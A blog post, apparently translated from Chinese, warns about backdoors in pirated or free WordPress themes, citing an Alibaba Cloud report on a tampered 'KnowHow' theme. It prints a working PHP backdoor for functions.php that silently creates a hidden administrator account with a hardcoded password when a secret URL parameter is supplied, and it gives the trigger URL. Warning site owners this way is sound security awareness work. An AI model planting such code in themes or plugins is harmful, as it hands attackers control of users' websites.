WordPress is a website-building application very popular among domestic webmasters, thanks to its rich templates and plugins and good extensibility. Especially for blog sites, WordPress has almost become the first choice for building sites. But according to Alibaba Cloud’s security report, WordPress has always been a primary target of hacker attacks. Today let’s talk about WordPress theme backdoors. Free themes — the free ones are often the most expensive. The theme currently used on my site is made by myself, so please visit with peace of mind. [caption id="" align=“aligncenter” width=“1000”]
Beware of free themes! Those WordPress theme backdoors that grant admin rights in one move[/caption] The figure below is statistics from Alibaba Cloud Cloud Shield’s security operations team on attacks against third-party applications (Source: Issue 27 of Alibaba Cloud Cloud Shield Security Operations Report, http://security.aliyun.com/doc/view/13762631.html): [caption id="" align=“aligncenter” width=“406”]
WordPress is one of attackers’ primary targets[/caption] The reasons WordPress has security risks mainly lie in two aspects: on one hand, as application features grow richer, programs become more complex, and it’s inevitable that WordPress repeatedly exposes vulnerabilities; on the other hand, the sites providing WordPress theme and plugin downloads are varied and mixed. Many hackers precisely exploit this situation, spreading plugins with malicious scripts through various sites offering WordPress building resources. In fact, of the two reasons above, the latter poses a greater security risk. For a webmaster eager to find building resources, when downloading plugin programs, they often neglect protection and don’t choose the source sites providing the downloads. Many good free themes and cracked themes online can be used normally after download, but when you think it’s normal, something abnormal may well have happened… This example uses a very simple piece of code; just a few lines can leave a backdoor in a theme — beginners who don’t understand code should beware… [php] add_action( “wp_head”, “my_backdoor” ); function my_backdoor() { if ( md5( $_GET[“backdoor”] ) == “34d1f91fb2e514b8576fab1a75a89a6b” ) { require( “wp-includes/registration.php” ); if ( !username_exists( “backdoor” ) ) { $user_id = wp_create_user( “backdoor”, “pa55w0rd!” ); $user = new WP_User( $user_id ); $user->set_role( “administrator” ); } } } [/php] To briefly explain the code above: it mainly sits in the functions.php file and doesn’t affect any functionality. If this code exists, anyone who runs http://www.yourdomain.com/?backdoor=go will create an administrator with username “backdoor” and password “pa55w0rd!”. With the same admin rights, they can easily edit theme code files. I believe you now feel this is very dangerous — quickly check your own theme code… The Cloud Shield security team also recently intercepted a WordPress program with a backdoor. This backdoor program exists in a WordPress theme plugin called “KnowHow.” In this plugin, the following code was found: [caption id="" align=“aligncenter” width=“423”]
Backdoor in the WordPress theme program[/caption] The code in the red circle is obviously the backdoor. Attackers can use this backdoor to further gain control of the site. After further investigation by Cloud Shield security technicians, KnowHow is a very popular WordPress theme. The KnowHow theme is paid, priced at $48. To identify the root cause, the technicians decided to start by determining the source of the backdoored program. After communicating with the user, it was confirmed that the user did not purchase a genuine theme, but downloaded it from a remote domestic site. At the same time, a same-version theme program was downloaded from the official channel and the two were compared. The result confirmed that the official version had no corresponding backdoor code. Therefore, the user’s downloaded program was obviously a version maliciously modified and released by someone. The Cloud Shield security technicians then, through searching and comparison, found that a large number of domestic download files for this theme had similar backdoors embedded. After clarifying the cause of the backdoor problem, the Cloud Shield security operations team immediately scanned all Alibaba Cloud users and notified Alibaba Cloud users with similar security risks in the first time. Finally, regarding the WordPress KnowHow theme backdoor, the Alibaba Cloud Cloud Shield security operations team offers the following suggestions: First, webmasters who have downloaded and installed the Knowhow theme should promptly check their web server, find the /wp-content/themes/knowhow/functions.php file, and compare with the above to check for malicious code. Backdoor characteristics generally contain the eval character; Second, download plugins from official or reputable sites; don’t randomly download/add code from unknown sites; Third, please purchase genuine software.
